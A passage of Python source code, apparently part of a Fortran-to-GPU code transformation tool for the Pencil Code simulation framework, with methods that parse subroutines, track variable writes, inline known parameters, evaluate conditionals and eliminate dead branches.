parse_subroutine_in_file(self, filename, subroutine_name, check_functions, offload, global_modified_list = [], layer_depth=math.inf, call_trace=\"\", parameter_list=[], only_static=True):\n print(\"parse_in_file\", subroutine_name, filename,parameter_list)\n if layer_depth < 0:\n return []\n if subroutine_name not in self.subroutine_modifies_param:\n self.subroutine_modifies_param[subroutine_name] = {}\n subroutine_lines = self.get_subroutine_lines(subroutine_name, filename)\n lines = subroutine_lines[1:]\n own_module = self.get_own_module(filename)\n #used to parse module don't think it is needed anymore\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},filename, True).items() }\n for var in local_variables:\n if local_variables[var][\"saved_variable\"] and not local_variables[var][\"parameter\"] and subroutine_name not in [\"div\"]:\n #skipping special modules for now\n if subroutine_name not in [\"set_from_slice_x\", \"set_from_slice_y\", \"set_from_slice_z\",\"bc_aa_pot_field_extrapol\"] and own_module not in [\"special\",\"boundcond\"]:\n print(\"saved variable\",var)\n print(local_variables[var])\n print(\"in:\",subroutine_name,filename)\n pexit(\"abort\")\n local_module_variables = self.get_local_module_variables(filename,subroutine_name)\n print(\"param_list\",parameter_list)\n print(\":(\")\n parameters = self.get_static_parameters(subroutine_lines[0], parameter_list)\n if self.subroutine_order == 0:\n call_trace = subroutine_name\n else:\n call_trace = f\"{call_trace} -> {subroutine_name}\"\n writes = self.get_writes(lines)\n param_is_modified= {}\n for (parameter,(passed_parameter,is_static,_,_)) in parameters:\n param_is_modified[parameter] = {\"is modified\": False, \"line\" : \"\", \"filename\": filename, \"call trace\": call_trace}\n for write in writes:\n ##Remember to check for function return values\n if (write[\"variable\"] not in self.static_variables) and (write[\"variable\"].strip() not in local_variables) and write[\"variable\"].strip() != subroutine_name.strip():\n print(\"Variable: \", write[\"variable\"], \"In function: \", subroutine_name, \"Didn't have an origin\")\n print([var for var in local_variables])\n print([var for var in self.static_variables])\n print(\"Either a bug or a missing file!\")\n print(\"LINE:\",write[\"line\"])\n pexit(\"FILE \" + filename)\n write[\"is_static\"] = (write[\"variable\"] in self.static_variables and write[\"variable\"] not in local_variables) or (write[\"variable\"] in local_variables and local_variables[write[\"variable\"]][\"saved_variable\"])\n for (parameter,(passed_parameter,is_static,_,_)) in parameters:\n if write[\"variable\"] == parameter:\n write[\"variable\"] = passed_parameter\n write[\"is_static\"] = is_static\n param_is_modified[parameter] = {\"is modified\": True, \"line\" : write[\"line\"], \"filename\": filename, \"call trace\": call_trace}\n for i, (param,(passed_parameter,is_static,_,_)) in enumerate(parameters):\n if i < len(global_modified_list):\n if param_is_modified[param][\"is modified\"]:\n global_modified_list[i] = param_is_modified[param]\n else:\n global_modified_list.append(param_is_modified[param])\n for write in writes: \n if write[\"is_static\"]:\n print(\"adding normal write\")\n print(\"from\", subroutine_name, filename)\n self.add_write(write[\"variable\"], write[\"line_num\"], write[\"variable\"] in local_variables and local_variables[write[\"variable\"]][\"saved_variable\"], filename, call_trace, write[\"line\"])\n for function_call in self.get_function_calls(lines, local_variables):\n function_name = function_call[\"function_name\"].lower()\n parse = True\n if function_name in check_functions or function_name.lower().startswith(\"mpi\"):\n self.found_function_calls.append((call_trace, function_name, parameter_list))\n parse = False\n parse = parse and function_name.lower().strip() not in self.ignored_subroutines\n if parse:\n print(\"FINDING PARAMS IN\", subroutine_name, filename, \"FOR\", function_name)\n print(f\"FUNC PARAMS for {function_name}\",function_call[\"parameters\"])\n new_param_list = self.get_static_passed_parameters(function_call[\"parameters\"],local_variables,local_module_variables)\n param_types = [(param[2],len(param[3])) for param in new_param_list]\n parse = (parse and ((function_name, str(param_types)) not in self.parsed_subroutines) and function_name != subroutine_name)\n # for i in range(len(new_param_list)):\n if parse:\n self.parsed_subroutines.append((function_name,str(param_types)))\n self.parse_subroutine_all_files(function_call,call_trace, check_functions, offload, local_variables, filename, layer_depth-1,new_param_list,only_static)\n #see if passed params were modified\n #if modified add them as writes and in case they were themselves passed params signal that they are modified for subroutines calling this subroutine\n for i in range(len(new_param_list)):\n for j, (parameter,(passed_parameter,is_static,_,_)) in enumerate(parameters):\n if new_param_list[i][0] == parameter:\n if self.subroutine_modifies_param[function_name][str(param_types)][i][\"is modified\"]:\n global_modified_list[j] = {\"is modified\": True, \"filename\": self.subroutine_modifies_param[function_name][str(param_types)][i][\"filename\"], \"line\": self.subroutine_modifies_param[function_name][str(param_types)][i][\"line\"], \"call trace\": self.subroutine_modifies_param[function_name][str(param_types)][i][\"call trace\"]}\n if is_static:\n print(\"add write after call\")\n self.add_write(passed_parameter, 0, False, filename, self.subroutine_modifies_param[function_name][str(param_types)][i][\"call trace\"],self.subroutine_modifies_param[function_name][str(param_types)][i][\"line\"])\n elif function_name.lower().strip() not in self.ignored_subroutines and function_name not in check_functions and not function_name.lower().startswith(\"mpi\"):\n\n # check if the subroutine name is itself in case of an recursive call\n if function_name == subroutine_name:\n for i in range(len(new_param_list)):\n if global_modified_list[i][\"is modified\"] and new_param_list[i][0] in self.static_variables or (new_param_list[i][0] in local_variables and local_variables[new_param_list[i][0]][\"saved_variable\"]):\n self.add_write(new_param_list[i][0], 0, new_param_list[i][0] in local_variables, filename, call_trace, global_modified_list[i][\"line\"])\n for j, (parameter,(passed_param,is_static,_,_)) in enumerate(parameters):\n if new_param_list[i][0] == parameter and global_modified_list[i][\"is modified\"]:\n global_modified_list[j] = {\"is modified\": True, \"filename\": global_modified_list[i][\"filename\"], \"line\": global_modified_list[i][\"line\"], \"call trace\": call_trace}\n if is_static:\n print(\"recursive func?\")\n self.add_write(passed_parameter, 0, False, filename, call_trace, global_modified_list[i][\"line\"])\n else:\n new_param_list = self.get_static_passed_parameters(function_call[\"parameters\"],local_variables,local_module_variables)\n for i in range(len(new_param_list)):\n if self.subroutine_modifies_param[function_name][str(param_types)][i][\"is modified\"] and ((new_param_list[i][0] in self.static_variables and new_param_list[i][0] not in local_variables) or (new_param_list[i][0] in local_variables and local_variables[new_param_list[i][0]][\"saved_variable\"])): \n print(\"adding from skipped call from: \",subroutine_name, filename)\n print(\"to call\", function_call)\n self.add_write(new_param_list[i][0], 0, new_param_list[i][0] in local_variables, self.subroutine_modifies_param[function_name][str(param_types)][i][\"filename\"], self.subroutine_modifies_param[function_name][str(param_types)][i][\"call trace\"], self.subroutine_modifies_param[function_name][str(param_types)][i][\"line\"])\n def evaluate_ifs(self,lines,local_variables):\n for line_index, line in enumerate(lines):\n # print(\"evaluating ifs\",line)\n #Disregard lines that are not possible\n #Done for speed optimization\n if \"if\" in line and \"(\" in line:\n orig_line = line\n check_line = line.replace(\"else if\",\"if\",1).replace(\"elseif\",\"if\",1)\n func_calls = self.get_function_calls_in_line(check_line,local_variables)\n if_func_calls = list(filter(lambda func_call: func_call[\"function_name\"] == \"if\", func_calls))\n replacement_value = None\n if len(if_func_calls) == 1:\n func_call = if_func_calls[0]\n if len(func_call[\"parameters\"]) == 1 and func_call[\"parameters\"][0] in self.known_values:\n replacement_value = self.known_values[func_call[\"parameters\"][0]]\n if len(func_call[\"parameters\"]) == 1 and not replacement_value:\n replacement_value = func_call[\"parameters\"][0]\n variables_to_replace = [variable for variable in local_variables if \"value\" in local_variables[variable] and variable in func_call[\"parameters\"][0]]\n var_replacements = {}\n for var in variables_to_replace:\n var_replacements[var] = local_variables[var][\"value\"]\n replacement_value = self.replace_variables_multi(replacement_value,var_replacements)\n if not replacement_value:\n replacement_value = self.evaluate_boolean(func_call[\"parameters\"][0],local_variables,[call for call in func_calls if call[\"function_name\"] != \"if\"])\n else:\n replacement_value = self.evaluate_boolean(replacement_value,local_variables,[call for call in func_calls if call[\"function_name\"] != \"if\"])\n if replacement_value:\n if \"else\" not in line:\n if_str = \"if\"\n else:\n if_str =\"else if\"\n orig_line = line \n lines[line_index] = self.replace_func_call(check_line, func_call, f\"{if_str}({replacement_value})\").replace(\"call if\",\"if\").replace(\"call else if\", \"else if\")\n def global_loop_replacer(self,segment,segment_index,line,local_variables,info):\n if segment[0] in local_variables:\n dims = local_variables[segment[0]][\"dims\"]\n else:\n dims = self.static_variables[segment[0]][\"dims\"]\n indexes = get_segment_indexes(segment,line,len(dims))\n for i, index in enumerate(indexes):\n if info[\"iterator\"] in index:\n if i!=info[\"replacement_index\"]:\n print(\"wrong replacement_index\")\n print(info)\n pexit(line)\n new_lower= index.replace(info[\"iterator\"],info[\"replacement_lower\"])\n new_upper= index.replace(info[\"iterator\"],info[\"replacement_upper\"])\n if new_lower == \"1\" and new_upper == dims[i]:\n indexes[i] = \":\"\n else:\n indexes[i] = new_lower + \":\" + new_upper\n return build_new_access(segment[0],indexes)\n def remove_global_loops(self, lines,local_variables,global_loop_lines,iterators):\n remove_indexes = []\n variables = merge_dictionaries(local_variables,self.static_variables)\n for loop_arr in global_loop_lines:\n remove_indexes.append(loop_arr[0][1])\n remove_indexes.append(loop_arr[-1][1])\n\n #this needed because funny business with nsave\n if self.offload_type == \"boundcond\":\n iterator_index = loop_arr[0][1] - 1\n rhs_var = self.get_rhs_variable(lines[iterator_index])\n while(rhs_var == global_loop_z or rhs_var == global_loop_y):\n remove_indexes.append(iterator_index)\n iterator_index -= 1\n rhs_var = self.get_rhs_variable(lines[iterator_index])\n iterator_index = loop_arr[-1][1] + 1\n rhs_var = self.get_rhs_variable(lines[iterator_index])\n while(rhs_var == global_loop_z or rhs_var == global_loop_y):\n remove_indexes.append(iterator_index)\n iterator_index += 1\n rhs_var = self.get_rhs_variable(lines[iterator_index])\n\n\n for loop_arr_index, loop_arr in enumerate(global_loop_lines):\n iterator,replacement_lower, replacement_upper, replacement_index = iterators[loop_arr_index]\n for line,line_index in loop_arr:\n lines[line_index] = self.replace_segments(self.get_array_segments_in_line(line,variables),line,self.global_loop_replacer,local_variables,{\n \"iterator\": iterator, \n \"replacement_lower\": replacement_lower,\n \"replacement_upper\": replacement_upper,\n \"replacement_index\": replacement_index,\n })\n return [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n def is_vector(self, lines, vector, local_variables):\n if vector in local_variables:\n src = local_variables\n elif vector in self.static_variables:\n src = self.static_variables\n if src[vector][\"dims\"] not in [[global_subdomain_range_x,\"3\"]]:\n return False\n return True\n def map_val_func(self,segment,segment_index, line, local_variables, info):\n return info[\"map_val\"][segment_index]\n def rename_lines_to_internal_names(self,lines,local_variables,filename):\n modules = self.file_info[filename][\"used_modules\"]\n for i, line in enumerate(lines):\n line_before = lines[i]\n # print(line_before)\n # print(\"--->\")\n lines[i] = self.rename_line_to_internal_names(line,local_variables,modules,self.get_own_module(filename))\n # print(lines[i])\n\n return lines\n\n def rename_line_to_internal_names(self,line,local_variables,modules,own_module):\n if line.split(\" \")[0].strip() in [\"subroutine\" ,\"function\"] or is_use_line(line):\n return line\n vars_in_modules = {}\n for mod in modules:\n vars_in_modules = merge_dictionaries(vars_in_modules, self.rename_dict[mod])\n variables = merge_dictionaries(local_variables,vars_in_modules)\n #don't rename local variables\n for var in [x for x in variables]:\n if var in local_variables:\n del variables[var]\n var_segments = get_var_name_segments(line,variables)\n return self.replace_segments(var_segments,line,self.rename_to_internal_module_name,local_variables,{\"modules\": modules,\"own_module\":own_module})\n\n def rename_to_internal_module_name(self,segment,segment_index,line,local_variables,info):\n\n if segment[0] in local_variables:\n return line[segment[1]:segment[2]]\n if \"__mod__\" in segment[0]:\n return line[segment[1]:segment[2]]\n variables = merge_dictionaries(local_variables,self.static_variables)\n found_modules = []\n for i,mod in enumerate(info[\"modules\"]):\n if segment[0] in self.module_info[mod][\"public_variables\"] and segment[0] in self.rename_dict[mod]:\n if info[\"modules\"][mod]:\n if segment[0] in info[\"modules\"][mod]:\n found_modules.append(mod)\n else:\n found_modules.append(mod)\n if len(found_modules) == 0:\n if segment[0] in self.rename_dict[info[\"own_module\"]]:\n found_modules.append(info[\"own_module\"])\n # print(\"var:\", segment[0])\n # print(\"seg:\",line[segment[1]:segment[2]])\n # print(\"line\",line)\n # print(found_modules)\n assert(len(found_modules) == 1)\n return line[segment[1]:segment[2]].replace(segment[0],self.rename_dict[found_modules[0]][segment[0]])\n\n def unroll_range(self,segment,segment_index,line,local_variables,info):\n variables = merge_dictionaries(local_variables,self.static_variables)\n sg_indexes = get_segment_indexes(segment,line,0)\n if variables[segment[0]][\"dims\"] in [[global_subdomain_range_x,\"3\"],[global_subdomain_range_x,\"3\",\"3\"]] and len(sg_indexes) > 1:\n for i, index in enumerate(sg_indexes):\n if i==info[\"index_num\"] and index==info[\"old_index\"]:\n sg_indexes[i] = info[\"new_index\"]\n return build_new_access(segment[0],sg_indexes)\n \n return line[segment[1]:segment[2]]\n def transform_pencils(self,lines,all_inlined_lines,local_variables):\n profile_replacements = {}\n #assuming all profiles are written in mn loop; if not use the lower\n for field in self.struct_table[\"pencil_case\"]:\n new_name = f\"ac_transformed_pencil_{field}\"\n if new_name not in local_variables:\n local_variables[new_name] = self.struct_table[\"pencil_case\"][field]\n profile_replacements[f\"p%{field}\"] = new_name\n ##get all profiles written to; can also assume that all profiles are calced at mn loop\n # for line_index,line in enumerate(lines):\n # var_name = \"\"\n # #do only for lines with profiles\n # #done for speedoptim\n # if \"p%\" in line:\n # writes_in_line = self.get_writes_from_line(line,local_variables)\n # if len(writes_in_line) == 1:\n # write = writes_in_line[0]\n # rhs_segment = get_variable_segments(line, [write[\"variable\"]])\n # if len(rhs_segment) == 0:\n # rhs_segment = self.get_struct_segments_in_line(line, [write[\"variable\"]])\n # rhs_segment = rhs_segment[0]\n # var_name = line[rhs_segment[1]:rhs_segment[2]].split(\"::\",1)[-1].split(\"(\",1)[0].strip()\n\n # #do only for profiles\n # if \"p%\" in var_name and var_name not in profile_replacements:\n # var_info = self.get_param_info((var_name,False),local_variables,local_variables)\n # new_name = var_name.replace(\"p%\",\"ac_transformed_pencil_\")\n # if new_name not in local_variables:\n # local_variables[new_name] ={\n # \"type\":var_info[2],\n # \"dims\":var_info[3],\n # \"saved_variable\": False\n # }\n # profile_replacements[var_name] = new_name\n lines = self.replace_vars_in_lines(lines,profile_replacements)\n res_lines = []\n for line_index,line in enumerate(lines):\n #add transformed profile lines\n if line_index == 3:\n for new_name in profile_replacements:\n res_lines.append(f\"real, dimension({','.join(local_variables[profile_replacements[new_name]]['dims'])}) :: {profile_replacements[new_name]}\")\n res_lines.append(line)\n\n return res_lines\n def transform_sum_calls(self,lines,local_variables):\n variables = merge_dictionaries(local_variables,self.static_variables)\n for line_index,line in enumerate(lines):\n sum_calls = [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"sum\" ]\n modified_sum = True\n while(len(sum_calls)>0 and modified_sum):\n call = sum_calls[0]\n modified_sum = False \n if (len(call[\"parameters\"]) == 2 and call[\"parameters\"][1] == \"2\" and self.get_param_info((call[\"parameters\"][0],False),local_variables,self.static_variables)[3] == [global_subdomain_range_x,\"3\"]):\n line = self.replace_func_call(line,call,f\"sum({call['parameters'][0]})\")\n lines[line_index] = line\n modified_sum = True\n sum_calls = [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"sum\" and len(x[\"parameters\"]) == 2 and x[\"parameters\"][1] == \"2\" and self.get_param_info((x[\"parameters\"][0],False),local_variables,self.static_variables)[3] == [global_subdomain_range_x,\"3\"]]\n return lines\n def unroll_ranges(self,lines,local_variables):\n variables = merge_dictionaries(local_variables,self.static_variables)\n res_lines = []\n #if we have e.g. f(1:2) = x(1:2), where f is a three dimensional vector ->\n #f(1) = x(1)\n #f(2) = x(2)\n for line in lines:\n arr_segs_in_line = self.get_array_segments_in_line(line,variables)\n unroll = False\n for sg in arr_segs_in_line:\n indexes = get_segment_indexes(sg,line,0)\n unroll = unroll or variables[sg[0]][\"dims\"] in [[global_subdomain_range_x,\"3\"],[global_subdomain_range_x,\"3\",\"3\"]] and len(indexes) > 1 and indexes[1] == \"1:2\"\n if unroll:\n info = {\n \"index_num\": 1,\n \"old_index\": \"1:2\",\n \"new_index\": \"1\",\n }\n line_0 = self.replace_segments(arr_segs_in_line,line,self.unroll_range,local_variables,info)\n info[\"new_index\"] = \"2\"\n line_1 = self.replace_segments(arr_segs_in_line,line,self.unroll_range,local_variables,info)\n res_lines.extend([line_0,line_1])\n else:\n res_lines.append(line)\n lines = res_lines\n res_lines = []\n\n #if Vector = Scalar spread into ->\n #Vector.x = Scalar\n #Vector.y = Scalar\n #Vector.z = Scalar\n\n for line in lines:\n writes = self.get_writes([line])\n if len(writes) == 1:\n write = writes[0]\n rhs_segment = get_variable_segments(line, [write[\"variable\"]])[0]\n rhs_info = self.get_param_info((line[rhs_segment[1]:rhs_segment[2]],False),local_variables,self.static_variables)\n if rhs_info[3] in [[global_subdomain_range_x,\"3\"],[\"3\"]] :\n val_info = self.get_param_info((write[\"value\"],False),local_variables,local_variables)\n if val_info[3] == []:\n for dim in [\"1\",\"2\",\"2\"]:\n if len(rhs_info[3]) == 2:\n rhs_dims = [\":\",dim]\n else:\n rhs_dims = [dim]\n res_lines.append(f\"{build_new_access(rhs_segment[0],rhs_dims)} = {write['value']}\") \n print(res_lines)\n else:\n res_lines.append(line)\n else:\n res_lines.append(line)\n else:\n res_lines.append(line)\n return res_lines\n def inline_0d_replacer(self,segment,segment_index,line,local_variables,info):\n if segment_index== 0 and len(self.get_writes_from_line(line)) > 0:\n return line[segment[1]:segment[2]]\n if segment[0] in info[\"possible_values\"]:\n return replace_variable(line[segment[1]:segment[2]], segment[0], f\"({info['possible_values'][segment[0]]})\")\n \n # indexes = get_segment_indexes(segment,line,1)\n # is_safe = indexes[0] in [\":\",f\"{global_subdomain_range_x_lower}:{global_subdomain_range_x_upper}\"] or len(local_variables[var][\"dims\"]) == 0\n # if is_safe:\n # res = \"(\" + replace_variable(line[segment[1]:segment[2]].split(\"(\",1)[0].strip(), var, info[\"possible_values\"][var]) + \")\"\n # return res\n # # add_line = replace_variable(line[segment[1]:segment[2]], var, possible_values[var])\n # else:\n # print(\"not safe abort\")\n # print(line)\n # print(line[segment[1]:segment[2]])\n # exit()\n return line[segment[1]:segment[2]]\n def replace_segments(self,segments,line,map_func,local_variables,info):\n res_line = \"\"\n last_index = 0 \n for sg_index, segment in enumerate(segments):\n res_line = res_line + line[last_index:segment[1]]\n res_line = res_line + map_func(segment,sg_index,line,local_variables,info) \n last_index = segment[2]\n res_line = res_line + line[last_index:]\n return res_line\n\n def inline_0d_writes(self, lines,local_variables):\n variables = merge_dictionaries(self.static_variables, local_variables)\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n writes = self.get_writes([line[0] for line in analyse_lines])\n #only for logical and floats for the moment\n vars_to_check_safety = [var for var in variables if variables[var][\"dims\"] == [] and variables[var][\"type\"] in [\"logical\",\"real\"]]\n safe_vars_to_inline = []\n for var in vars_to_check_safety:\n var_writes= [write for write in writes if write[\"variable\"] == var]\n\n # for write in var_writes:\n # lhs_local_vars = [var for var in local_variables if var in write[\"line\"].split(\"=\")[1]]\n # no_unsafe_writes= no_unsafe_writes and lhs_local_vars == []\n\n if_nums = []\n nest_nums = []\n for write in var_writes:\n for line in analyse_lines:\n if line[3] == write[\"line_num\"]:\n if_nums.append(line[4])\n nest_nums.append(line[1])\n all_are_in_the_same_if = all([if_num == if_nums[0] for if_num in if_nums])\n all_are_in_main_branch = all([nest_num == nest_nums[0] for nest_num in nest_nums])\n is_safe = all_are_in_the_same_if or all_are_in_main_branch\n #for time being all are safe\n if is_safe:\n safe_vars_to_inline.append(var)\n print(\"SAFE VARS TO INLINE\",safe_vars_to_inline)\n possible_values = {}\n remove_indexes = []\n for line_index, line in enumerate(lines):\n res_line = \"\"\n last_index = 0\n line = self.replace_segments(get_var_segments_in_line(line,variables),line,self.inline_0d_replacer,local_variables,{\n \"possible_values\": possible_values\n })\n lines[line_index] = line\n rhs_var = self.get_rhs_variable(line)\n if rhs_var in safe_vars_to_inline:\n remove_indexes.append(line_index)\n write = self.get_writes_from_line(line)[0]\n possible_values[rhs_var] = write[\"value\"]\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n lines = [line for line in lines if line != \"\"]\n return lines \n\n\n def inline_1d_writes(self, lines,local_variables):\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n writes = self.get_writes([line[0] for line in analyse_lines])\n # vars_to_check_safety = [\"tmp1\",\"tmp2\"]\n vars_to_check_safety = local_variables\n safe_vars_to_inline = []\n for var in vars_to_check_safety:\n var_writes= [write for write in writes if write[\"variable\"] == var]\n\n no_unsafe_writes = False \n # for write in var_writes:\n # lhs_local_vars = [var for var in local_variables if var in write[\"line\"].split(\"=\")[1]]\n # no_unsafe_writes= no_unsafe_writes and lhs_local_vars == []\n\n is_safe = no_unsafe_writes\n if not no_unsafe_writes:\n if_nums = []\n nest_nums = []\n for write in var_writes:\n for line in analyse_lines:\n if line[3] == write[\"line_num\"]:\n if_nums.append(line[4])\n nest_nums.append(line[1])\n all_are_in_the_same_if = all([if_num == if_nums[0] for if_num in if_nums])\n all_are_in_main_branch = all([nest_num == nest_nums[0] for nest_num in nest_nums])\n is_safe = all_are_in_the_same_if or all_are_in_main_branch\n if is_safe:\n safe_vars_to_inline.append(var)\n print(\"SAFE VARS TO INLINE\",safe_vars_to_inline)\n variables = merge_dictionaries(self.static_variables, local_variables)\n possible_values = {}\n remove_indexes = []\n if_num = 0\n for line_index, line in enumerate(lines):\n line = line.strip()\n if \"if\" in line or \"else\" in line:\n if_num += 1\n\n res_line = \"\"\n last_index = 0\n line = self.replace_segments(get_var_segments_in_line(line,variables),line,self.inline_replacer,local_variables,{\n \"possible_values\": possible_values\n })\n lines[line_index] = line\n rhs_var = self.get_rhs_variable(line)\n if rhs_var in local_variables:\n rhs_dim = len(variables[rhs_var][\"dims\"])\n _ , num_of_looped_dims = get_dims_from_indexes(get_indexes(get_rhs_segment(line),rhs_var,rhs_dim),rhs_var)\n if rhs_var in local_variables and rhs_dim <= 1 and rhs_dim == num_of_looped_dims and rhs_var in safe_vars_to_inline:\n remove_indexes.append(line_index)\n possible_values[rhs_var] = line.split(\"=\")[1].replace(\"\\n\",\"\")\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n lines = [line for line in lines if line != \"\"]\n return lines \n\n def inline_known_parameters(self,lines,also_local_variables=True):\n inline_constants = {}\n remove_indexes = []\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},self.file, True).items() }\n if also_local_variables:\n for var in local_variables:\n if local_variables[var][\"parameter\"] and local_variables[var][\"dims\"] == [] and \"value\" in local_variables[var]:\n inline_constants[var] = local_variables[var][\"value\"]\n #remove declarations for local parameters since they are not needed anymore\n remove_indexes.append(local_variables[var][\"line_num\"])\n for var in self.static_variables:\n if self.static_variables[var][\"parameter\"] and self.static_variables[var][\"dims\"] == [] and \"value\" in self.static_variables[var] and var not in local_variables:\n inline_constants[var] = self.static_variables[var][\"value\"]\n return [x[1] for x in enumerate(self.replace_vars_in_lines(lines,inline_constants)) if x[0] not in remove_indexes]\n def eliminate_while(self,lines,unroll=False,take_last_write_as_output=False):\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},self.file, True).items() }\n lines = self.normalize_if_calls(lines, local_variables)\n lines = self.normalize_where_calls(lines, local_variables)\n remove_indexes = []\n #Matthias said that lcoarse_mn is broken for now\n #No communication\n for symbol in [\"lcoarse_mn__mod__cdata\",\"lcommunicate\"]:\n for line_index,line in enumerate(lines):\n writes = self.get_writes_from_line(line)\n if len(writes) == 1 and (writes[0][\"variable\"] == symbol or writes[0][\"variable\"] == \".false.\"):\n remove_indexes.append(line_index)\n lines = self.replace_var_in_lines(lines,symbol,\".false.\")\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n #if there are some writes to flagged params then not safe to substitue\n removed_flags = {}\n writes = self.get_writes(lines,False)\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n flag_mappings = [x for x in self.flag_mappings]\n for flag_mapping in flag_mappings:\n # if write is in if clauses can't be sure about value\n if len([write for write in writes if write[\"variable\"] == flag_mapping]) > 0:\n removed_flags[flag_mapping] = self.flag_mappings[flag_mapping]\n del self.flag_mappings[flag_mapping]\n \n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},self.file, True).items() }\n lines = self.inline_known_parameters(lines,local_variables)\n if unroll:\n lines = self.unroll_constant_loops(lines,local_variables)\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n\n for line_index in range(len(lines)):\n for x in [x for x in self.flag_mappings if \"(\" in x and \")\" in x]:\n orig_line = lines[line_index]\n lines[line_index]= lines[line_index].replace(x,self.flag_mappings[x])\n if \"if(*/=0.) then\" in lines[line_index]:\n print(\"before:\", orig_line)\n print(\"mapping\",x)\n print(\"mapping val\",self.flag_mappings[x])\n print(\"WRONG\")\n pexit(lines[line_index])\n # for mapping in self.flag_mappings:\n # if \"(\" in mapping:\n # lines[line_index] = lines[line_index].replace(mapping,self.flag_mappings[mapping])\n for line_index in range(len(lines)):\n lines[line_index] = self.replace_variables_multi(lines[line_index],self.flag_mappings)\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n # done twice since can have lflag_a -> lflag_b .or. lflag_c\n for line_index in range(len(lines)):\n lines[line_index] = self.replace_variables_multi(lines[line_index],self.flag_mappings)\n\n\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n lines = self.transform_case(lines)\n ##Needed to remove size from variable dims\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},self.file, True).items() }\n\n\n len_orig_removed_flags = len(removed_flags) + 1\n while(len_orig_removed_flags > len(removed_flags)):\n len_orig_removed_flags = len(removed_flags)\n lines = [self.expand_size_in_line(line,local_variables,writes) for line in lines]\n self.evaluate_ifs(lines,local_variables)\n orig_lines_len = len(lines)+1\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},self.file, True).items() }\n while(orig_lines_len > len(lines)):\n writes = self.get_writes(lines,False)\n lines = self.eliminate_dead_branches(lines,local_variables)\n self.try_to_deduce_if_params(lines,writes,local_variables,take_last_write_as_output)\n self.evaluate_ifs(lines,local_variables)\n orig_lines_len = len(lines)\n\n writes = self.get_writes(lines,False)\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n func_calls = self.get_function_calls(lines,local_variables)\n self.try_to_deduce_if_params(lines,writes,local_variables,take_last_write_as_output)\n for flag in [x for x in removed_flags]:\n if flag in self.known_values:\n self.flag_mappings[flag] = self.known_values[flag]\n del removed_flags[flag]\n for flag in [x for x in removed_flags]:\n #if write in conditional branch not sure of value\n # if len([x for x in writes if x[\"variable\"] == flag and analyse_lines[x[\"line_num\"]][1] > 0]) == 0 and len([x for x in func_calls if flag in x[\"parameters\"] and x[\"function_name\"] not in [\"if\"]]) == 0:\n if [x for x in writes if x[\"variable\"] == flag and analyse_lines[x[\"line_num\"]][1] > 0] == []:\n if [x for x in func_calls if flag in x[\"parameters\"] and x[\"function_name\"] not in [\"if\",\"put_shared_variable\",\"allocate\"]] == []:\n self.flag_mappings[flag] = removed_flags[flag]\n del removed_flags[flag]\n for line_index in range(len(lines)):\n lines[line_index] = self.replace_variables_multi(lines[line_index],self.flag_mappings)\n\n # if \"initialize_gravity\" in lines[0]:\n # # print([x for x in writes if x[\"variable\"] == flag and analyse_lines[x[\"line_num\"]][1] > 0])\n # # print([x for x in func_calls if flag in x[\"parameters\"] and x[\"function_name\"] not in [\"if\"]])\n # # print(\"lgravx__mod__cdata\" in self.flag_mappings)\n # file = open(\"init.txt\",\"w\")\n # for line in lines:\n # file.write(f\"{line}\\n\")\n # file.close()\n # print(self.flag_mappings[\"lgravz__mod__cdata\"])\n # print(self.known_values[\"lgravz__mod__cdata\"])\n # exit()\n\n\n\n writes = self.get_writes(lines,False)\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n func_calls = self.get_function_calls(lines,local_variables)\n for line_index in range(len(lines)):\n lines[line_index] = self.replace_variables_multi(lines[line_index],self.flag_mappings)\n self.evaluate_ifs(lines,local_variables)\n for val in self.known_values:\n if val[0] == \"l\" and val in self.static_variables and self.static_variables[val][\"type\"] == \"logical\":\n self.flag_mappings[val] =self.known_values[val]\n for flag in [x for x in removed_flags]:\n if flag in self.known_values:\n self.flag_mappings[flag] = self.known_values[flag]\n del removed_flags[flag]\n for flag in [x for x in removed_flags]:\n #if write in conditional branch not sure of value\n # if len([x for x in writes if x[\"variable\"] == flag and analyse_lines[x[\"line_num\"]][1] > 0]) == 0 and len([x for x in func_calls if flag in x[\"parameters\"] and x[\"function_name\"] not in [\"if\"]]) == 0:\n if [x for x in writes if x[\"variable\"] == flag and analyse_lines[x[\"line_num\"]][1] > 0] == []:\n if [x for x in func_calls if flag in x[\"parameters\"] and x[\"function_name\"] not in [\"if\",\"put_shared_variable\"]] == []:\n self.flag_mappings[flag] = removed_flags[flag]\n del removed_flags[flag]\n self.try_to_deduce_if_params(lines,writes,local_variables,take_last_write_as_output)\n for flag in [x for x in removed_flags]:\n if flag in self.known_values:\n self.flag_mappings[flag] = self.known_values[flag]\n del removed_flags[flag]\n #the flag param value was mutated and was not able to deduce it\n for flag in removed_flags:\n if flag in self.default_mappings:\n del self.default_mappings[flag]\n # if \"initialize_energy\" in lines[0]:\n # file = open(\"init.txt\",\"w\")\n # for line in lines:\n # file.write(f\"{line}\\n\")\n # file.close()\n # print(\"bye\")\n # print(\"lheatc_kprof__mod__energy\" in self.known_values)\n # print(self.flag_mappings[\"lheatc_kprof__mod__energy\"])\n # exit()\n\n\n \n\n\n # print(self.flag_mappings[\"lgravx__mod__cdata\"])\n # exit()\n\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n return lines\n def 